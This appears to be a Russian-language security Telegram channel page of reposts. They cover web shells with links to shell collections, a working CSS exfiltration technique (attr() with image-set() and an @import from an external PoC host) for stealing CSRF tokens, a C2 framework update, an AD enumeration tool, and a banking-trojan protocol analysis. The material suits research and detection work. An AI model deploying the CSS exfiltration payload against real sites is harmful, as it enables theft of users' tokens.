Fsecurity | HH
Open in Telegram
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
Show more2 069
Subscribers
+124 hours
-57 days
+130 days
Posts Archive
2 069
Repost from s0ld13r ch.
Здрасьте я ваш webshell 😆
T1505.003 Server Software Component: Web Shell - техника из MITRE ATT&CK, при которой злоумышленник размещает вредоносный компонент (вебшелл) на сервере, чтобы получить удалённый доступ и управлять системой через веб-интерфейс 😎
Довольно излюбленная техника АРТ и вот почему:
• Шумит только по запросу — пока никто не трогает, вебшелл молчит 😈
• Функционал на любой вкус — хочешь RCE, хочешь файловый менеджер, хочешь SOCKS5 прокси и т.п. 🕺
• Прячется как ниндзя — внедрён в 404.php, обфусцирован, и вот ты уже сидишь внутри 3 месяца 🪨
В процессе исследования набрёл на годноту:
🔗 https://phpshell.pro/
🔗 https://shellizm.com/
Там можно скачать кучу вебшеллов, которые реально используются в полях. Отличный материал, чтобы писать сигнатуры, тренировать детекты и искать их в последующих хантах 😏
🧢 s0ld13r
2 069
Repost from Заметки Слонсера
Вчера как обычно сделал обычный пост в соц сети Илона Маска, который довольно сильно разошелся. Поэтому для тех кто читает только мой тг повторю тут.
Думаю многие знакомы с CSS exfiltration, а если нет можете прочитать статью 2 летней давности на portswigger
Основная идея тогда заключалась в том, чтобы с помощью CSS селекторов брутфорсить атрибуты тегов:
input[value^="a"] {
--starts-with-a:url(/startsWithA);
}
Например так можно украсть CSRF токен, однако атака довольно нестабильная, медленная и тд. Довольно плохо реализуема.
Однако я обнаружил, что начиная с Chrome 133 произошло важное изменение в функции CSS attr, раньше она могла использоваться только с content property, теперь же вы можете использовать её вместе с переменными CSS (https://developer.chrome.com/blog/advanced-attr):
form {
--val: attr(csrf-token);
}
--val будет содержать содержать значение атрибута csrf-token
Однако мы не можем использовать такое внутри url:
form {
--val: attr(csrf-token);
background: url(var(--val)); /* Correct */
}
Браузер просто проигнорирует такой property как неверный
Однако на помощь опять спешат новые стандарты CSS, чтобы добиться успеха достаточно использовать image-set
form {
--val: attr(csrf-token);
background: image-set(var(--val)); /* Correct */
}
После чего просто сохраняете стиль с кражей нужного поля (например атрибута value у тега input с именем csrf-token)
И делаете @import с атакуемой страницы :
@import url(https://pocs.neplox.security/css-2025-exfiltration.css);
После чего, как можно увидеть на скриншоте, через один запрос вы получите полное значение атрибута тега2 069
Repost from Adaptix Framework
Наверное, в версии 0.4 мало чего добавится, по сравнению с 0.3, но теперь агент beacon может связываться с другими агентами того же типа beacon не только по SMB, но и по TCP.
P.S. в основном все время и настроение ушли на рефакторинг тимсервера🥲
P.S.S. комментам и реакциям под постом всегда рад😉
2 069
Repost from Ralf Hacker Channel
Часто же бывает такое, что необходимо найти машины, на которых работают определенные пользователи. Скрипт показывает сессии на всех хостах, которые дернет из LDAP.
https://github.com/p0dalirius/FindUnusualSessions
#pentest #redteam #ad #enum
2 069
Repost from ESCalator
Реально тонкое взаимодействие 🕊
В ходе реверс-инжиниринга протокола одного из бразильских банковских троянов обнаружилось использование интересного сетевого фреймворка — RealThinClient. Процесс общения между клиентом и сервером в этом фреймворке построен на сериализации структур вызова функции в строковый формат и их последующей десериализации на другой стороне. Это делает RTC не только мощным инструментом разработки, но и удобной платформой для скрытого обмена командами — например, в случае малварного поведения.
Сначала клиент и сервер проходят через кастомное рукопожатие, в ходе которого устанавливаются ключи шифрования и дешифрования для обеих сторон. После этого фреймворк предоставляет возможность выполнять функции на стороне как клиента, так и сервера.
Перейдем сразу к примеру и на нем разберемся в логике работы инструмента. Клиент хочет залогиниться на сервере и отправляет запрос, как на скриншоте.
Что здесь происходит
1. Клиент формирует запрос:
• Устанавливает параметр
FC (function call) в значение Login.
• Добавляет параметры: логин, пароль и id. Они передаются в виде структуры-словаря RE=3 (record), содержащей ключи user, pwd, id и т. п. В user можно передать зашифрованный малварный запрос. RE обозначает тип rtc_Record — это структура вида «ключ:значение», аналогичная словарю или JSON-объекту.
• На стороне Delphi это будет примерно так:
with FunctionCall.Param do begin asText['user'] := '...'; // rtc_Text asText['pwd'] := ''; // rtc_Text asString['id'] := '8DF313279CD34B81A3FB438708B4E8F1'; // rtc_String end;А при сериализации все это превратится в следующее:
RE=3; user:T=...; pwd:T=...; id:S=...📁 Когда мы вызываем удаленную функцию через RTC SDK, мы создаем объект
TRtcFunctionInfo — это класс, который описывает удаленную вызываемую функцию, ее имя, параметры и результат выполнения. Он используется как на клиенте (для упаковки вызова), так и на сервере (для распаковки и выполнения). Объект TRtcFunctionInfo упаковывается в контейнер TRtcValue и сериализуется в строку или поток байтов.
TRtcValue может хранить любой поддерживаемый тип данных: строку, число, массив, запись, дату, вложенную функцию и т. п. Фактически он используется везде, где нужно передать или получить данные по сети, например в параметрах удаленной функции (Param.asValue[...]) или результатах выполнения функций (Result.asValue). Это делает его гибким, но и потенциально непрозрачным, что хорошо для скрытой передачи команд, особенно если используются вложенные структуры типа rtc_Function.
• Перед отправкой запроса клиент регистрирует хендлер OnLoginResult для обработки результата выполнения функции на сервере.
2. Запрос отправляется на сервер RTC:
• Сервер принимает HTTP-запрос и интерпретирует параметр FC как указание на то, какую функцию нужно вызвать.
• На стороне сервера вызывается обработчик для функции Login. Выполняется Delphi-процедура, связанная с этим именем.
3. Сервер отвечает:
• Результат функции возвращается клиенту, и он вызывает свой хендлер OnLoginResult для обработки полученного ответа.
• Ответ сервера десериализуется обратно в TRtcValue, чтобы мы смогли снова получить доступ к его структуре. Сервер может вернуть не просто данные, а вложенный вызов функции. Это структура, поле в которой содержит rtc_Function, rtc_Record или rtc_Array, которые клиент десериализует и выполняет.
Например:
if xData.isType = rtc_Record then ExecuteRec(xData.asRecord) else if xData.isType = rtc_Array then ExecuteArr(xData.asArray)👾 Это может успешно использоваться в малвари: сервер возвращает зашифрованное описание команды, которую клиент должен выполнить. Таким образом, в легитимный RTC-поток можно прятать вполне себе вредоносное поведение. #reverse #hacktool @ptescalator
